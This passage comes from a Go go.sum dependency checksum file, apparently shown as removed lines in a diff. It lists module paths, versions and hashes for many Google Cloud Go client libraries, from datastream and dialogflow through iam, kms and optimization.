h1:cqlOX8xlyYF/uxhiKn6Hbv6WjwPPuI9W2M9SAXwaLLQ= -cloud.google.com/go/datastream v1.4.0/go.mod h1:h9dpzScPhDTs5noEMQVWP8Wx8AFBRyS0s8KWPx/9r0g= -cloud.google.com/go/datastream v1.5.0/go.mod h1:6TZMMNPwjUqZHBKPQ1wwXpb0d5VDVPl2/XoS5yi88q4= -cloud.google.com/go/datastream v1.6.0/go.mod h1:6LQSuswqLa7S4rPAOZFVjHIG3wJIjZcZrw8JDEDJuIs= -cloud.google.com/go/datastream v1.7.0/go.mod h1:uxVRMm2elUSPuh65IbZpzJNMbuzkcvu5CjMqVIUHrww= -cloud.google.com/go/datastream v1.9.1/go.mod h1:hqnmr8kdUBmrnk65k5wNRoHSCYksvpdZIcZIEl8h43Q= -cloud.google.com/go/datastream v1.10.0/go.mod h1:hqnmr8kdUBmrnk65k5wNRoHSCYksvpdZIcZIEl8h43Q= -cloud.google.com/go/deploy v1.4.0/go.mod h1:5Xghikd4VrmMLNaF6FiRFDlHb59VM59YoDQnOUdsH/c= -cloud.google.com/go/deploy v1.5.0/go.mod h1:ffgdD0B89tToyW/U/D2eL0jN2+IEV/3EMuXHA0l4r+s= -cloud.google.com/go/deploy v1.6.0/go.mod h1:f9PTHehG/DjCom3QH0cntOVRm93uGBDt2vKzAPwpXQI= -cloud.google.com/go/deploy v1.8.0/go.mod h1:z3myEJnA/2wnB4sgjqdMfgxCA0EqC3RBTNcVPs93mtQ= -cloud.google.com/go/deploy v1.11.0/go.mod h1:tKuSUV5pXbn67KiubiUNUejqLs4f5cxxiCNCeyl0F2g= -cloud.google.com/go/deploy v1.13.0/go.mod h1:tKuSUV5pXbn67KiubiUNUejqLs4f5cxxiCNCeyl0F2g= -cloud.google.com/go/dialogflow v1.15.0/go.mod h1:HbHDWs33WOGJgn6rfzBW1Kv807BE3O1+xGbn59zZWI4= -cloud.google.com/go/dialogflow v1.16.1/go.mod h1:po6LlzGfK+smoSmTBnbkIZY2w8ffjz/RcGSS+sh1el0= -cloud.google.com/go/dialogflow v1.17.0/go.mod h1:YNP09C/kXA1aZdBgC/VtXX74G/TKn7XVCcVumTflA+8= -cloud.google.com/go/dialogflow v1.18.0/go.mod h1:trO7Zu5YdyEuR+BhSNOqJezyFQ3aUzz0njv7sMx/iek= -cloud.google.com/go/dialogflow v1.19.0/go.mod h1:JVmlG1TwykZDtxtTXujec4tQ+D8SBFMoosgy+6Gn0s0= -cloud.google.com/go/dialogflow v1.29.0/go.mod h1:b+2bzMe+k1s9V+F2jbJwpHPzrnIyHihAdRFMtn2WXuM= -cloud.google.com/go/dialogflow v1.31.0/go.mod h1:cuoUccuL1Z+HADhyIA7dci3N5zUssgpBJmCzI6fNRB4= -cloud.google.com/go/dialogflow v1.32.0/go.mod h1:jG9TRJl8CKrDhMEcvfcfFkkpp8ZhgPz3sBGmAUYJ2qE= -cloud.google.com/go/dialogflow v1.38.0/go.mod h1:L7jnH+JL2mtmdChzAIcXQHXMvQkE3U4hTaNltEuxXn4= -cloud.google.com/go/dialogflow v1.40.0/go.mod h1:L7jnH+JL2mtmdChzAIcXQHXMvQkE3U4hTaNltEuxXn4= -cloud.google.com/go/dlp v1.6.0/go.mod h1:9eyB2xIhpU0sVwUixfBubDoRwP+GjeUoxxeueZmqvmM= -cloud.google.com/go/dlp v1.7.0/go.mod h1:68ak9vCiMBjbasxeVD17hVPxDEck+ExiHavX8kiHG+Q= -cloud.google.com/go/dlp v1.9.0/go.mod h1:qdgmqgTyReTz5/YNSSuueR8pl7hO0o9bQ39ZhtgkWp4= -cloud.google.com/go/dlp v1.10.1/go.mod h1:IM8BWz1iJd8njcNcG0+Kyd9OPnqnRNkDV8j42VT5KOI= -cloud.google.com/go/documentai v1.7.0/go.mod h1:lJvftZB5NRiFSX4moiye1SMxHx0Bc3x1+p9e/RfXYiU= -cloud.google.com/go/documentai v1.8.0/go.mod h1:xGHNEB7CtsnySCNrCFdCyyMz44RhFEEX2Q7UD0c5IhU= -cloud.google.com/go/documentai v1.9.0/go.mod h1:FS5485S8R00U10GhgBC0aNGrJxBP8ZVpEeJ7PQDZd6k= -cloud.google.com/go/documentai v1.10.0/go.mod h1:vod47hKQIPeCfN2QS/jULIvQTugbmdc0ZvxxfQY1bg4= -cloud.google.com/go/documentai v1.16.0/go.mod h1:o0o0DLTEZ+YnJZ+J4wNfTxmDVyrkzFvttBXXtYRMHkM= -cloud.google.com/go/documentai v1.18.0/go.mod h1:F6CK6iUH8J81FehpskRmhLq/3VlwQvb7TvwOceQ2tbs= -cloud.google.com/go/documentai v1.20.0/go.mod h1:yJkInoMcK0qNAEdRnqY/D5asy73tnPe88I1YTZT+a8E= -cloud.google.com/go/documentai v1.22.0/go.mod h1:yJkInoMcK0qNAEdRnqY/D5asy73tnPe88I1YTZT+a8E= -cloud.google.com/go/domains v0.6.0/go.mod h1:T9Rz3GasrpYk6mEGHh4rymIhjlnIuB4ofT1wTxDeT4Y= -cloud.google.com/go/domains v0.7.0/go.mod h1:PtZeqS1xjnXuRPKE/88Iru/LdfoRyEHYA9nFQf4UKpg= -cloud.google.com/go/domains v0.8.0/go.mod h1:M9i3MMDzGFXsydri9/vW+EWz9sWb4I6WyHqdlAk0idE= -cloud.google.com/go/domains v0.9.1/go.mod h1:aOp1c0MbejQQ2Pjf1iJvnVyT+z6R6s8pX66KaCSDYfE= -cloud.google.com/go/edgecontainer v0.1.0/go.mod h1:WgkZ9tp10bFxqO8BLPqv2LlfmQF1X8lZqwW4r1BTajk= -cloud.google.com/go/edgecontainer v0.2.0/go.mod h1:RTmLijy+lGpQ7BXuTDa4C4ssxyXT34NIuHIgKuP4s5w= -cloud.google.com/go/edgecontainer v0.3.0/go.mod h1:FLDpP4nykgwwIfcLt6zInhprzw0lEi2P1fjO6Ie0qbc= -cloud.google.com/go/edgecontainer v1.0.0/go.mod h1:cttArqZpBB2q58W/upSG++ooo6EsblxDIolxa3jSjbY= -cloud.google.com/go/edgecontainer v1.1.1/go.mod h1:O5bYcS//7MELQZs3+7mabRqoWQhXCzenBu0R8bz2rwk= -cloud.google.com/go/errorreporting v0.3.0/go.mod h1:xsP2yaAp+OAW4OIm60An2bbLpqIhKXdWR/tawvl7QzU= -cloud.google.com/go/essentialcontacts v1.3.0/go.mod h1:r+OnHa5jfj90qIfZDO/VztSFqbQan7HV75p8sA+mdGI= -cloud.google.com/go/essentialcontacts v1.4.0/go.mod h1:8tRldvHYsmnBCHdFpvU+GL75oWiBKl80BiqlFh9tp+8= -cloud.google.com/go/essentialcontacts v1.5.0/go.mod h1:ay29Z4zODTuwliK7SnX8E86aUF2CTzdNtvv42niCX0M= -cloud.google.com/go/essentialcontacts v1.6.2/go.mod h1:T2tB6tX+TRak7i88Fb2N9Ok3PvY3UNbUsMag9/BARh4= -cloud.google.com/go/eventarc v1.7.0/go.mod h1:6ctpF3zTnaQCxUjHUdcfgcA1A2T309+omHZth7gDfmc= -cloud.google.com/go/eventarc v1.8.0/go.mod h1:imbzxkyAU4ubfsaKYdQg04WS1NvncblHEup4kvF+4gw= -cloud.google.com/go/eventarc v1.10.0/go.mod h1:u3R35tmZ9HvswGRBnF48IlYgYeBcPUCjkr4BTdem2Kw= -cloud.google.com/go/eventarc v1.11.0/go.mod h1:PyUjsUKPWoRBCHeOxZd/lbOOjahV41icXyUY5kSTvVY= -cloud.google.com/go/eventarc v1.12.1/go.mod h1:mAFCW6lukH5+IZjkvrEss+jmt2kOdYlN8aMx3sRJiAI= -cloud.google.com/go/eventarc v1.13.0/go.mod h1:mAFCW6lukH5+IZjkvrEss+jmt2kOdYlN8aMx3sRJiAI= -cloud.google.com/go/filestore v1.3.0/go.mod h1:+qbvHGvXU1HaKX2nD0WEPo92TP/8AQuCVEBXNY9z0+w= -cloud.google.com/go/filestore v1.4.0/go.mod h1:PaG5oDfo9r224f8OYXURtAsY+Fbyq/bLYoINEK8XQAI= -cloud.google.com/go/filestore v1.5.0/go.mod h1:FqBXDWBp4YLHqRnVGveOkHDf8svj9r5+mUDLupOWEDs= -cloud.google.com/go/filestore v1.6.0/go.mod h1:di5unNuss/qfZTw2U9nhFqo8/ZDSc466dre85Kydllg= -cloud.google.com/go/filestore v1.7.1/go.mod h1:y10jsorq40JJnjR/lQ8AfFbbcGlw3g+Dp8oN7i7FjV4= -cloud.google.com/go/firestore v1.9.0/go.mod h1:HMkjKHNTtRyZNiMzu7YAsLr9K3X2udY2AMwDaMEQiiE= -cloud.google.com/go/firestore v1.11.0/go.mod h1:b38dKhgzlmNNGTNZZwe7ZRFEuRab1Hay3/DBsIGKKy4= -cloud.google.com/go/functions v1.6.0/go.mod h1:3H1UA3qiIPRWD7PeZKLvHZ9SaQhR26XIJcC0A5GbvAk= -cloud.google.com/go/functions v1.7.0/go.mod h1:+d+QBcWM+RsrgZfV9xo6KfA1GlzJfxcfZcRPEhDDfzg= -cloud.google.com/go/functions v1.8.0/go.mod h1:RTZ4/HsQjIqIYP9a9YPbU+QFoQsAlYgrwOXJWHn1POY= -cloud.google.com/go/functions v1.9.0/go.mod h1:Y+Dz8yGguzO3PpIjhLTbnqV1CWmgQ5UwtlpzoyquQ08= -cloud.google.com/go/functions v1.10.0/go.mod h1:0D3hEOe3DbEvCXtYOZHQZmD+SzYsi1YbI7dGvHfldXw= -cloud.google.com/go/functions v1.12.0/go.mod h1:AXWGrF3e2C/5ehvwYo/GH6O5s09tOPksiKhz+hH8WkA= -cloud.google.com/go/functions v1.13.0/go.mod h1:EU4O007sQm6Ef/PwRsI8N2umygGqPBS/IZQKBQBcJ3c= -cloud.google.com/go/functions v1.15.1/go.mod h1:P5yNWUTkyU+LvW/S9O6V+V423VZooALQlqoXdoPz5AE= -cloud.google.com/go/gaming v1.5.0/go.mod h1:ol7rGcxP/qHTRQE/RO4bxkXq+Fix0j6D4LFPzYTIrDM= -cloud.google.com/go/gaming v1.6.0/go.mod h1:YMU1GEvA39Qt3zWGyAVA9bpYz/yAhTvaQ1t2sK4KPUA= -cloud.google.com/go/gaming v1.7.0/go.mod h1:LrB8U7MHdGgFG851iHAfqUdLcKBdQ55hzXy9xBJz0+w= -cloud.google.com/go/gaming v1.8.0/go.mod h1:xAqjS8b7jAVW0KFYeRUxngo9My3f33kFmua++Pi+ggM= -cloud.google.com/go/gaming v1.9.0/go.mod h1:Fc7kEmCObylSWLO334NcO+O9QMDyz+TKC4v1D7X+Bc0= -cloud.google.com/go/gaming v1.10.1/go.mod h1:XQQvtfP8Rb9Rxnxm5wFVpAp9zCQkJi2bLIb7iHGwB3s= -cloud.google.com/go/gkebackup v0.2.0/go.mod h1:XKvv/4LfG829/B8B7xRkk8zRrOEbKtEam6yNfuQNH60= -cloud.google.com/go/gkebackup v0.3.0/go.mod h1:n/E671i1aOQvUxT541aTkCwExO/bTer2HDlj4TsBRAo= -cloud.google.com/go/gkebackup v0.4.0/go.mod h1:byAyBGUwYGEEww7xsbnUTBHIYcOPy/PgUWUtOeRm9Vg= -cloud.google.com/go/gkebackup v1.3.0/go.mod h1:vUDOu++N0U5qs4IhG1pcOnD1Mac79xWy6GoBFlWCWBU= -cloud.google.com/go/gkeconnect v0.5.0/go.mod h1:c5lsNAg5EwAy7fkqX/+goqFsU1Da/jQFqArp+wGNr/o= -cloud.google.com/go/gkeconnect v0.6.0/go.mod h1:Mln67KyU/sHJEBY8kFZ0xTeyPtzbq9StAVvEULYK16A= -cloud.google.com/go/gkeconnect v0.7.0/go.mod h1:SNfmVqPkaEi3bF/B3CNZOAYPYdg7sU+obZ+QTky2Myw= -cloud.google.com/go/gkeconnect v0.8.1/go.mod h1:KWiK1g9sDLZqhxB2xEuPV8V9NYzrqTUmQR9shJHpOZw= -cloud.google.com/go/gkehub v0.9.0/go.mod h1:WYHN6WG8w9bXU0hqNxt8rm5uxnk8IH+lPY9J2TV7BK0= -cloud.google.com/go/gkehub v0.10.0/go.mod h1:UIPwxI0DsrpsVoWpLB0stwKCP+WFVG9+y977wO+hBH0= -cloud.google.com/go/gkehub v0.11.0/go.mod h1:JOWHlmN+GHyIbuWQPl47/C2RFhnFKH38jH9Ascu3n0E= -cloud.google.com/go/gkehub v0.12.0/go.mod h1:djiIwwzTTBrF5NaXCGv3mf7klpEMcST17VBTVVDcuaw= -cloud.google.com/go/gkehub v0.14.1/go.mod h1:VEXKIJZ2avzrbd7u+zeMtW00Y8ddk/4V9511C9CQGTY= -cloud.google.com/go/gkemulticloud v0.3.0/go.mod h1:7orzy7O0S+5kq95e4Hpn7RysVA7dPs8W/GgfUtsPbrA= -cloud.google.com/go/gkemulticloud v0.4.0/go.mod h1:E9gxVBnseLWCk24ch+P9+B2CoDFJZTyIgLKSalC7tuI= -cloud.google.com/go/gkemulticloud v0.5.0/go.mod h1:W0JDkiyi3Tqh0TJr//y19wyb1yf8llHVto2Htf2Ja3Y= -cloud.google.com/go/gkemulticloud v0.6.1/go.mod h1:kbZ3HKyTsiwqKX7Yw56+wUGwwNZViRnxWK2DVknXWfw= -cloud.google.com/go/gkemulticloud v1.0.0/go.mod h1:kbZ3HKyTsiwqKX7Yw56+wUGwwNZViRnxWK2DVknXWfw= -cloud.google.com/go/grafeas v0.2.0/go.mod h1:KhxgtF2hb0P191HlY5besjYm6MqTSTj3LSI+M+ByZHc= -cloud.google.com/go/grafeas v0.3.0/go.mod h1:P7hgN24EyONOTMyeJH6DxG4zD7fwiYa5Q6GUgyFSOU8= -cloud.google.com/go/gsuiteaddons v1.3.0/go.mod h1:EUNK/J1lZEZO8yPtykKxLXI6JSVN2rg9bN8SXOa0bgM= -cloud.google.com/go/gsuiteaddons v1.4.0/go.mod h1:rZK5I8hht7u7HxFQcFei0+AtfS9uSushomRlg+3ua1o= -cloud.google.com/go/gsuiteaddons v1.5.0/go.mod h1:TFCClYLd64Eaa12sFVmUyG62tk4mdIsI7pAnSXRkcFo= -cloud.google.com/go/gsuiteaddons v1.6.1/go.mod h1:CodrdOqRZcLp5WOwejHWYBjZvfY0kOphkAKpF/3qdZY= -cloud.google.com/go/iam v0.1.0/go.mod h1:vcUNEa0pEm0qRVpmWepWaFMIAI8/hjB9mO8rNCJtF6c= -cloud.google.com/go/iam v0.3.0/go.mod h1:XzJPvDayI+9zsASAFO68Hk07u3z+f+JrT2xXNdp4bnY= -cloud.google.com/go/iam v0.5.0/go.mod h1:wPU9Vt0P4UmCux7mqtRu6jcpPAb74cP1fh50J3QpkUc= -cloud.google.com/go/iam v0.6.0/go.mod h1:+1AH33ueBne5MzYccyMHtEKqLE4/kJOibtffMHDMFMc= -cloud.google.com/go/iam v0.7.0/go.mod h1:H5Br8wRaDGNc8XP3keLc4unfUUZeyH3Sfl9XpQEYOeg= -cloud.google.com/go/iam v0.8.0/go.mod h1:lga0/y3iH6CX7sYqypWJ33hf7kkfXJag67naqGESjkE= -cloud.google.com/go/iam v0.11.0/go.mod h1:9PiLDanza5D+oWFZiH1uG+RnRCfEGKoyl6yo4cgWZGY= -cloud.google.com/go/iam v0.12.0/go.mod h1:knyHGviacl11zrtZUoDuYpDgLjvr28sLQaG0YB2GYAY= -cloud.google.com/go/iam v0.13.0/go.mod h1:ljOg+rcNfzZ5d6f1nAUJ8ZIxOaZUVoS14bKCtaLZ/D0= -cloud.google.com/go/iam v1.0.1/go.mod h1:yR3tmSL8BcZB4bxByRv2jkSIahVmCtfKZwLYGBalRE8= -cloud.google.com/go/iam v1.1.0/go.mod h1:nxdHjaKfCr7fNYx/HJMM8LgiMugmveWlkatear5gVyk= -cloud.google.com/go/iam v1.1.1/go.mod h1:A5avdyVL2tCppe4unb0951eI9jreack+RJ0/d+KUZOU= -cloud.google.com/go/iap v1.4.0/go.mod h1:RGFwRJdihTINIe4wZ2iCP0zF/qu18ZwyKxrhMhygBEc= -cloud.google.com/go/iap v1.5.0/go.mod h1:UH/CGgKd4KyohZL5Pt0jSKE4m3FR51qg6FKQ/z/Ix9A= -cloud.google.com/go/iap v1.6.0/go.mod h1:NSuvI9C/j7UdjGjIde7t7HBz+QTwBcapPE07+sSRcLk= -cloud.google.com/go/iap v1.7.0/go.mod h1:beqQx56T9O1G1yNPph+spKpNibDlYIiIixiqsQXxLIo= -cloud.google.com/go/iap v1.7.1/go.mod h1:WapEwPc7ZxGt2jFGB/C/bm+hP0Y6NXzOYGjpPnmMS74= -cloud.google.com/go/iap v1.8.1/go.mod h1:sJCbeqg3mvWLqjZNsI6dfAtbbV1DL2Rl7e1mTyXYREQ= -cloud.google.com/go/ids v1.1.0/go.mod h1:WIuwCaYVOzHIj2OhN9HAwvW+DBdmUAdcWlFxRl+KubM= -cloud.google.com/go/ids v1.2.0/go.mod h1:5WXvp4n25S0rA/mQWAg1YEEBBq6/s+7ml1RDCW1IrcY= -cloud.google.com/go/ids v1.3.0/go.mod h1:JBdTYwANikFKaDP6LtW5JAi4gubs57SVNQjemdt6xV4= -cloud.google.com/go/ids v1.4.1/go.mod h1:np41ed8YMU8zOgv53MMMoCntLTn2lF+SUzlM+O3u/jw= -cloud.google.com/go/iot v1.3.0/go.mod h1:r7RGh2B61+B8oz0AGE+J72AhA0G7tdXItODWsaA2oLs= -cloud.google.com/go/iot v1.4.0/go.mod h1:dIDxPOn0UvNDUMD8Ger7FIaTuvMkj+aGk94RPP0iV+g= -cloud.google.com/go/iot v1.5.0/go.mod h1:mpz5259PDl3XJthEmh9+ap0affn/MqNSP4My77Qql9o= -cloud.google.com/go/iot v1.6.0/go.mod h1:IqdAsmE2cTYYNO1Fvjfzo9po179rAtJeVGUvkLN3rLE= -cloud.google.com/go/iot v1.7.1/go.mod h1:46Mgw7ev1k9KqK1ao0ayW9h0lI+3hxeanz+L1zmbbbk= -cloud.google.com/go/kms v1.4.0/go.mod h1:fajBHndQ+6ubNw6Ss2sSd+SWvjL26RNo/dr7uxsnnOA= -cloud.google.com/go/kms v1.5.0/go.mod h1:QJS2YY0eJGBg3mnDfuaCyLauWwBJiHRboYxJ++1xJNg= -cloud.google.com/go/kms v1.6.0/go.mod h1:Jjy850yySiasBUDi6KFUwUv2n1+o7QZFyuUJg6OgjA0= -cloud.google.com/go/kms v1.8.0/go.mod h1:4xFEhYFqvW+4VMELtZyxomGSYtSQKzM178ylFW4jMAg= -cloud.google.com/go/kms v1.9.0/go.mod h1:qb1tPTgfF9RQP8e1wq4cLFErVuTJv7UsSC915J8dh3w= -cloud.google.com/go/kms v1.10.0/go.mod h1:ng3KTUtQQU9bPX3+QGLsflZIHlkbn8amFAMY63m8d24= -cloud.google.com/go/kms v1.10.1/go.mod h1:rIWk/TryCkR59GMC3YtHtXeLzd634lBbKenvyySAyYI= -cloud.google.com/go/kms v1.11.0/go.mod h1:hwdiYC0xjnWsKQQCQQmIQnS9asjYVSK6jtXm+zFqXLM= -cloud.google.com/go/kms v1.12.1/go.mod h1:c9J991h5DTl+kg7gi3MYomh12YEENGrf48ee/N/2CDM= -cloud.google.com/go/kms v1.15.0/go.mod h1:c9J991h5DTl+kg7gi3MYomh12YEENGrf48ee/N/2CDM= -cloud.google.com/go/language v1.4.0/go.mod h1:F9dRpNFQmJbkaop6g0JhSBXCNlO90e1KWx5iDdxbWic= -cloud.google.com/go/language v1.6.0/go.mod h1:6dJ8t3B+lUYfStgls25GusK04NLh3eDLQnWM3mdEbhI= -cloud.google.com/go/language v1.7.0/go.mod h1:DJ6dYN/W+SQOjF8e1hLQXMF21AkH2w9wiPzPCJa2MIE= -cloud.google.com/go/language v1.8.0/go.mod h1:qYPVHf7SPoNNiCL2Dr0FfEFNil1qi3pQEyygwpgVKB8= -cloud.google.com/go/language v1.9.0/go.mod h1:Ns15WooPM5Ad/5no/0n81yUetis74g3zrbeJBE+ptUY= -cloud.google.com/go/language v1.10.1/go.mod h1:CPp94nsdVNiQEt1CNjF5WkTcisLiHPyIbMhvR8H2AW0= -cloud.google.com/go/lifesciences v0.5.0/go.mod h1:3oIKy8ycWGPUyZDR/8RNnTOYevhaMLqh5vLUXs9zvT8= -cloud.google.com/go/lifesciences v0.6.0/go.mod h1:ddj6tSX/7BOnhxCSd3ZcETvtNr8NZ6t/iPhY2Tyfu08= -cloud.google.com/go/lifesciences v0.8.0/go.mod h1:lFxiEOMqII6XggGbOnKiyZ7IBwoIqA84ClvoezaA/bo= -cloud.google.com/go/lifesciences v0.9.1/go.mod h1:hACAOd1fFbCGLr/+weUKRAJas82Y4vrL3O5326N//Wc= -cloud.google.com/go/logging v1.6.1/go.mod h1:5ZO0mHHbvm8gEmeEUHrmDlTDSu5imF6MUP9OfilNXBw= -cloud.google.com/go/logging v1.7.0/go.mod h1:3xjP2CjkM3ZkO73aj4ASA5wRPGGCRrPIAeNqVNkzY8M= -cloud.google.com/go/longrunning v0.1.1/go.mod h1:UUFxuDWkv22EuY93jjmDMFT5GPQKeFVJBIF6QlTqdsE= -cloud.google.com/go/longrunning v0.3.0/go.mod h1:qth9Y41RRSUE69rDcOn6DdK3HfQfsUI0YSmW3iIlLJc= -cloud.google.com/go/longrunning v0.4.1/go.mod h1:4iWDqhBZ70CvZ6BfETbvam3T8FMvLK+eFj0E6AaRQTo= -cloud.google.com/go/longrunning v0.4.2/go.mod h1:OHrnaYyLUV6oqwh0xiS7e5sLQhP1m0QU9R+WhGDMgIQ= -cloud.google.com/go/longrunning v0.5.0/go.mod h1:0JNuqRShmscVAhIACGtskSAWtqtOoPkwP0YF1oVEchc= -cloud.google.com/go/longrunning v0.5.1/go.mod h1:spvimkwdz6SPWKEt/XBij79E9fiTkHSQl/fRUUQJYJc= -cloud.google.com/go/managedidentities v1.3.0/go.mod h1:UzlW3cBOiPrzucO5qWkNkh0w33KFtBJU281hacNvsdE= -cloud.google.com/go/managedidentities v1.4.0/go.mod h1:NWSBYbEMgqmbZsLIyKvxrYbtqOsxY1ZrGM+9RgDqInM= -cloud.google.com/go/managedidentities v1.5.0/go.mod h1:+dWcZ0JlUmpuxpIDfyP5pP5y0bLdRwOS4Lp7gMni/LA= -cloud.google.com/go/managedidentities v1.6.1/go.mod h1:h/irGhTN2SkZ64F43tfGPMbHnypMbu4RB3yl8YcuEak= -cloud.google.com/go/maps v0.1.0/go.mod h1:BQM97WGyfw9FWEmQMpZ5T6cpovXXSd1cGmFma94eubI= -cloud.google.com/go/maps v0.6.0/go.mod h1:o6DAMMfb+aINHz/p/jbcY+mYeXBoZoxTfdSQ8VAJaCw= -cloud.google.com/go/maps v0.7.0/go.mod h1:3GnvVl3cqeSvgMcpRlQidXsPYuDGQ8naBis7MVzpXsY= -cloud.google.com/go/maps v1.3.0/go.mod h1:6mWTUv+WhnOwAgjVsSW2QPPECmW+s3PcRyOa9vgG/5s= -cloud.google.com/go/maps v1.4.0/go.mod h1:6mWTUv+WhnOwAgjVsSW2QPPECmW+s3PcRyOa9vgG/5s= -cloud.google.com/go/mediatranslation v0.5.0/go.mod h1:jGPUhGTybqsPQn91pNXw0xVHfuJ3leR1wj37oU3y1f4= -cloud.google.com/go/mediatranslation v0.6.0/go.mod h1:hHdBCTYNigsBxshbznuIMFNe5QXEowAuNmmC7h8pu5w= -cloud.google.com/go/mediatranslation v0.7.0/go.mod h1:LCnB/gZr90ONOIQLgSXagp8XUW1ODs2UmUMvcgMfI2I= -cloud.google.com/go/mediatranslation v0.8.1/go.mod h1:L/7hBdEYbYHQJhX2sldtTO5SZZ1C1vkapubj0T2aGig= -cloud.google.com/go/memcache v1.4.0/go.mod h1:rTOfiGZtJX1AaFUrOgsMHX5kAzaTQ8azHiuDoTPzNsE= -cloud.google.com/go/memcache v1.5.0/go.mod h1:dk3fCK7dVo0cUU2c36jKb4VqKPS22BTkf81Xq617aWM= -cloud.google.com/go/memcache v1.6.0/go.mod h1:XS5xB0eQZdHtTuTF9Hf8eJkKtR3pVRCcvJwtm68T3rA= -cloud.google.com/go/memcache v1.7.0/go.mod h1:ywMKfjWhNtkQTxrWxCkCFkoPjLHPW6A7WOTVI8xy3LY= -cloud.google.com/go/memcache v1.9.0/go.mod h1:8oEyzXCu+zo9RzlEaEjHl4KkgjlNDaXbCQeQWlzNFJM= -cloud.google.com/go/memcache v1.10.1/go.mod h1:47YRQIarv4I3QS5+hoETgKO40InqzLP6kpNLvyXuyaA= -cloud.google.com/go/metastore v1.5.0/go.mod h1:2ZNrDcQwghfdtCwJ33nM0+GrBGlVuh8rakL3vdPY3XY= -cloud.google.com/go/metastore v1.6.0/go.mod h1:6cyQTls8CWXzk45G55x57DVQ9gWg7RiH65+YgPsNh9s= -cloud.google.com/go/metastore v1.7.0/go.mod h1:s45D0B4IlsINu87/AsWiEVYbLaIMeUSoxlKKDqBGFS8= -cloud.google.com/go/metastore v1.8.0/go.mod h1:zHiMc4ZUpBiM7twCIFQmJ9JMEkDSyZS9U12uf7wHqSI= -cloud.google.com/go/metastore v1.10.0/go.mod h1:fPEnH3g4JJAk+gMRnrAnoqyv2lpUCqJPWOodSaf45Eo= -cloud.google.com/go/metastore v1.11.1/go.mod h1:uZuSo80U3Wd4zi6C22ZZliOUJ3XeM/MlYi/z5OAOWRA= -cloud.google.com/go/metastore v1.12.0/go.mod h1:uZuSo80U3Wd4zi6C22ZZliOUJ3XeM/MlYi/z5OAOWRA= -cloud.google.com/go/monitoring v1.7.0/go.mod h1:HpYse6kkGo//7p6sT0wsIC6IBDET0RhIsnmlA53dvEk= -cloud.google.com/go/monitoring v1.8.0/go.mod h1:E7PtoMJ1kQXWxPjB6mv2fhC5/15jInuulFdYYtlcvT4= -cloud.google.com/go/monitoring v1.12.0/go.mod h1:yx8Jj2fZNEkL/GYZyTLS4ZtZEZN8WtDEiEqG4kLK50w= -cloud.google.com/go/monitoring v1.13.0/go.mod h1:k2yMBAB1H9JT/QETjNkgdCGD9bPF712XiLTVr+cBrpw= -cloud.google.com/go/monitoring v1.15.1/go.mod h1:lADlSAlFdbqQuwwpaImhsJXu1QSdd3ojypXrFSMr2rM= -cloud.google.com/go/networkconnectivity v1.4.0/go.mod h1:nOl7YL8odKyAOtzNX73/M5/mGZgqqMeryi6UPZTk/rA= -cloud.google.com/go/networkconnectivity v1.5.0/go.mod h1:3GzqJx7uhtlM3kln0+x5wyFvuVH1pIBJjhCpjzSt75o= -cloud.google.com/go/networkconnectivity v1.6.0/go.mod h1:OJOoEXW+0LAxHh89nXd64uGG+FbQoeH8DtxCHVOMlaM= -cloud.google.com/go/networkconnectivity v1.7.0/go.mod h1:RMuSbkdbPwNMQjB5HBWD5MpTBnNm39iAVpC3TmsExt8= -cloud.google.com/go/networkconnectivity v1.10.0/go.mod h1:UP4O4sWXJG13AqrTdQCD9TnLGEbtNRqjuaaA7bNjF5E= -cloud.google.com/go/networkconnectivity v1.11.0/go.mod h1:iWmDD4QF16VCDLXUqvyspJjIEtBR/4zq5hwnY2X3scM= -cloud.google.com/go/networkconnectivity v1.12.1/go.mod h1:PelxSWYM7Sh9/guf8CFhi6vIqf19Ir/sbfZRUwXh92E= -cloud.google.com/go/networkmanagement v1.4.0/go.mod h1:Q9mdLLRn60AsOrPc8rs8iNV6OHXaGcDdsIQe1ohekq8= -cloud.google.com/go/networkmanagement v1.5.0/go.mod h1:ZnOeZ/evzUdUsnvRt792H0uYEnHQEMaz+REhhzJRcf4= -cloud.google.com/go/networkmanagement v1.6.0/go.mod h1:5pKPqyXjB/sgtvB5xqOemumoQNB7y95Q7S+4rjSOPYY= -cloud.google.com/go/networkmanagement v1.8.0/go.mod h1:Ho/BUGmtyEqrttTgWEe7m+8vDdK74ibQc+Be0q7Fof0= -cloud.google.com/go/networksecurity v0.5.0/go.mod h1:xS6fOCoqpVC5zx15Z/MqkfDwH4+m/61A3ODiDV1xmiQ= -cloud.google.com/go/networksecurity v0.6.0/go.mod h1:Q5fjhTr9WMI5mbpRYEbiexTzROf7ZbDzvzCrNl14nyU= -cloud.google.com/go/networksecurity v0.7.0/go.mod h1:mAnzoxx/8TBSyXEeESMy9OOYwo1v+gZ5eMRnsT5bC8k= -cloud.google.com/go/networksecurity v0.8.0/go.mod h1:B78DkqsxFG5zRSVuwYFRZ9Xz8IcQ5iECsNrPn74hKHU= -cloud.google.com/go/networksecurity v0.9.1/go.mod h1:MCMdxOKQ30wsBI1eI659f9kEp4wuuAueoC9AJKSPWZQ= -cloud.google.com/go/notebooks v1.2.0/go.mod h1:9+wtppMfVPUeJ8fIWPOq1UnATHISkGXGqTkxeieQ6UY= -cloud.google.com/go/notebooks v1.3.0/go.mod h1:bFR5lj07DtCPC7YAAJ//vHskFBxA5JzYlH68kXVdk34= -cloud.google.com/go/notebooks v1.4.0/go.mod h1:4QPMngcwmgb6uw7Po99B2xv5ufVoIQ7nOGDyL4P8AgA= -cloud.google.com/go/notebooks v1.5.0/go.mod h1:q8mwhnP9aR8Hpfnrc5iN5IBhrXUy8S2vuYs+kBJ/gu0= -cloud.google.com/go/notebooks v1.7.0/go.mod h1:PVlaDGfJgj1fl1S3dUwhFMXFgfYGhYQt2164xOMONmE= -cloud.google.com/go/notebooks v1.8.0/go.mod h1:Lq6dYKOYOWUCTvw5t2q1gp1lAp0zxAxRycayS0iJcqQ= -cloud.google.com/go/notebooks v1.9.1/go.mod h1:zqG9/gk05JrzgBt4ghLzEepPHNwE5jgPcHZRKhlC1A8= -cloud.google.com/go/optimization v1.1.0/go.mod h1:5po+wfvX5AQlPznyVEZjGJTMr4+CAkJf2XSTQOOl9l4= -cloud.google.com/go/optimization v1.2.0/go.mod h1:Lr7SOHdRDENsh+WXVmQhQTrzdu9ybg0NecjHidBq6xs= -cloud.google.com/go/optimization v1.3.1/go.mod h1:IvUSefKiwd1a5p0RgHDbWCIbDFgKuEdB+fPPuP0IDLI= -cloud.google.com/go/optimization v1.4.1/go.mod 